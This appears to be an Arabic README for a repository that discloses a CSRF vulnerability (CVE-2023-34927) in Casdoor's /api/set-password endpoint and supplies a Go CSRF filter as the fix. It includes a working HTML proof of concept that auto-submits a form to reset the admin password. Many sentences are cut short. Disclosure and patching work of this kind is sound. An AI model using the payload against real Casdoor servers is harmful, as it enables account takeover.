
استغلال إثبات مفهوم (PoC) لثغرة CSRF في نقطة النهاية `/api/set-password` الخاصة بـ Casdoor (CVE-2023-34927)، مما يتيح تغيير كلمات المرور بشكل غير مصرح به عبر طلبات POST عابرة للمواقع (Cross-Site). يتضمن إصلاحًا لمرشح CSRF مبنيًا على Go.
الملخص
/api/set-password تسمح بتغيير كلمات المرور دون موافقة.الأثر
built-in/admin)، مما يؤدي إلى الاستيلاء على الحساب.المتطلبات الأساسية للهجوم
casdoor_session_id./api/set-password.إثبات المفهوم
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
السبب الجذري
/api/* تقبل الطلبات المصادق عليها عبر ملفات تعريف الارتباط دون فرض فحوصات المنشأ نفسه (Origin/Referer) أو رموز CSRF.نظرة عامة على الإصلاح
/api/*.Authorization أو المصادقة الأساسية Basic auth أو بيانات اعتماد العميل أو accessToken) أو الطلبات التي لا تحتوي على ملفات تعريف ارتباط لجلسة المتصفح (استدعاءات الخادم إلى الخادم المعتادة).التنفيذ
routers.CSRFFilter المنفذ في csrf_filter.go. يقوم هذا الفلتر بـ:
كيفية الدمج في Casdoor
csrf_filter.go إلى حزمة routers الموجودة في مشروع Casdoor. لا تعدّل أو تحذف أي شيء في هذا الملف.main):
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
التحقق
Unauthorized operation ويجب على الخادم تسجيل CSRF check failed.Authorization أو معاملات accessToken في العمل.ملفات المستودع
csrf_filter.go: فلتر CSRF يجب نسخه إلى حزمة routers في Casdoor.poc.html: صفحة بسيطة تعيد إنتاج هجوم CSRF.README.md: هذا المستند الذي يصف الثغرة وخطوات الإصلاح.المراجع
الفيديو